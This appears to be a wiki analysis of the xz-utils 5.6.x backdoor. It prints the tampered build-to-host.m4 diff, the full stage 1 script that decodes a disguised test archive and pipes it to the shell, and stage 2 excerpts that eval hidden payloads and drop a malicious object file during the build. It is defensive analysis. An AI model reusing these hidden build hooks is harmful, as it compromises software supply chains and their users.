-
Notifications
You must be signed in to change notification settings - Fork 2
Home
There seem to be 3 stages and a payload.
This one is in the malicious .m4 file. It takes one of the test files and decompresses it to stage 1.
Here is the diff between a clean file (for 5.6.1):
--- /usr/share/aclocal/build-to-host.m4 2024-02-21 11:43:47.000000000 +0100
+++ m4/build-to-host.m4 2024-03-09 09:16:40.000000000 +0100
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@
dnl Define somedir_c.
gl_final_[$1]="$[$1]"
+ gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
dnl Translate it from build syntax to host syntax.
case "$build_os" in
cygwin*)
@@ -58,14 +59,40 @@
if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
[$1]_c_make='\"$([$1])\"'
fi
+ if test "x$gl_am_configmake" != "x"; then
+ gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+ else
+ gl_[$1]_config=''
+ fi
+ _LT_TAGDECL([], [gl_path_map], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+ _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+ _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
AC_SUBST([$1_c_make])
+
+ dnl If the host conversion code has been placed in $gl_config_gt,
+ dnl instead of duplicating it all over again into config.status,
+ dnl then we will have config.status run $gl_config_gt later, so it
+ dnl needs to know what name is stored there:
+ AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
])
dnl Some initializations for gl_BUILD_TO_HOST.
AC_DEFUN([gl_BUILD_TO_HOST_INIT],
[
+ dnl Search for Automake-defined pkg* macros, in the order
+ dnl listed in the Automake 1.10a+ documentation.
+ gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+ if test -n "$gl_am_configmake"; then
+ HAVE_PKG_CONFIGMAKE=1
+ else
+ HAVE_PKG_CONFIGMAKE=0
+ fi
+
gl_sed_double_backslashes='s/\\/\\\\/g'
gl_sed_escape_doublequotes='s/"/\\"/g'
+ gl_path_map='tr "\t \-_" " \t_\-"'
changequote(,)dnl
gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
changequote([,])dnl
Those changes are also in the generated configure script in the tarball.
The important bits here are:
gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null``
This uses grep to find the malicious test archive and sets gl_am_configmake to its path.
gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
[$1]
here is localedir (as this is an m4 macro), so this sets gl_localedir_prefix to xz
(taken from the extension of the found archive).
gl_path_map='tr "\t \-_" " \t_\-"'
This is a transformation we'll need in the next step.
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
This sets gl_localedir_config to stage 1. The sed
is essentially equivalent to cat
, the eval
does the transformation via tr
and $gl_[$1]_prefix
is just xz
.
And finally, stage 1 is executed:
AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
Here is stage 1 from 5.6.1 in full (SHA-256: 4a26bbcee218698a3a7fb62f3b66b4c193e53243699816e9348e063849b0f6e6
):
To extract stage 1:
tr "\t \-_" " \t_\-" <tests/files/bad-3-corrupt_lzma2.xz | xz -d 2>/dev/null
####Hello####
#�U��$�
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
So all it does is extract the malicious test archive, reassemble the output via head that has apparently been scrambled before, then use tr
to perform more replacement and finally decompress it using xz
and pipe it to the shell.
In 5.6.0, the checks for Linux are supposedly not there (I have not checked).
This one is too long to paste here in full. The SHA-256 from the one in 5.6.1 is 654c673c177a2a06c2b240ee07f81dc9096b1626f82855dc67722a5e10bbf6a1
.
The main points are:
if test -f config.status; then
This is the first check it does. config.status
is created by configure, so it uses this to check if it is run as part of configure (it seem to be run twice, more on that later).
New in 5.6.1 is that here, it tries to look for a stage 3 (indentation by me):
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
This was not in the initial post on oss-security@. It seems this was added in 5.6.1, but not present in 5.6.0. However, it is important to note that this is executed unconditionally, the only condition is that config.status exists.
Grepping for the magic strings does not yield a result, so it is possible that this was just in preparation for a future backdoor. However, if this for whatever reason executes, all theories of "this only affects you if X is true" are wrong except for the "this only affects you if you run Linux" as that is verified by stage 1.
Only after this, it goes on to check various things:
if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
exit 0
fi
if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
exit 0
fi
This might have somewhat rescued Fedora 40 Beta users: If you updated to Fedora 40 while 5.6.0-3 was already in repos and you never had a different version, this disables the backdoor, as 5.6.0-3 disabled ifunc.
if test "x$enable_shared" != "xyes";then
exit 0
fi
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
exit 0
fi
Static libraries are not affected and non-Linux isn't affected, either.
The checks following after this are only checking that the source hasn't been modified too much so that the backdoor still works. As well as that GCC and GNU ld are being used and that the test files with the backdoor actually exist.
Now comes the most-talked-about part:
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
So only if a debian/rules exists in the source directory or if $RPM_ARCH
is x86_64
, it does the stuff inside the branch - which is the actual patching of the Makefile.
TODO: Write analysis for how the Makefile is patched.
However, there is also another branch that is taken if config.status
is not present:
elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
This would trigger after the build has already built those files. However, I think (TODO: Someone please verify) that if the Makefile isn't patched above, this is not executed.
This one again, unconditionally, looks for more backdoors in test files:
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
Again, I could not find any test files that match these - with the same caveats as above.
It then goes on to check if the source is still "backdoorable" and finally writes the malicious .o file:
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
TODO: The following is just a stub
It then goes on to patch the source to make sure this dropped .o file gets used and renames the .o files (note the difference between -
and _
in the file name!).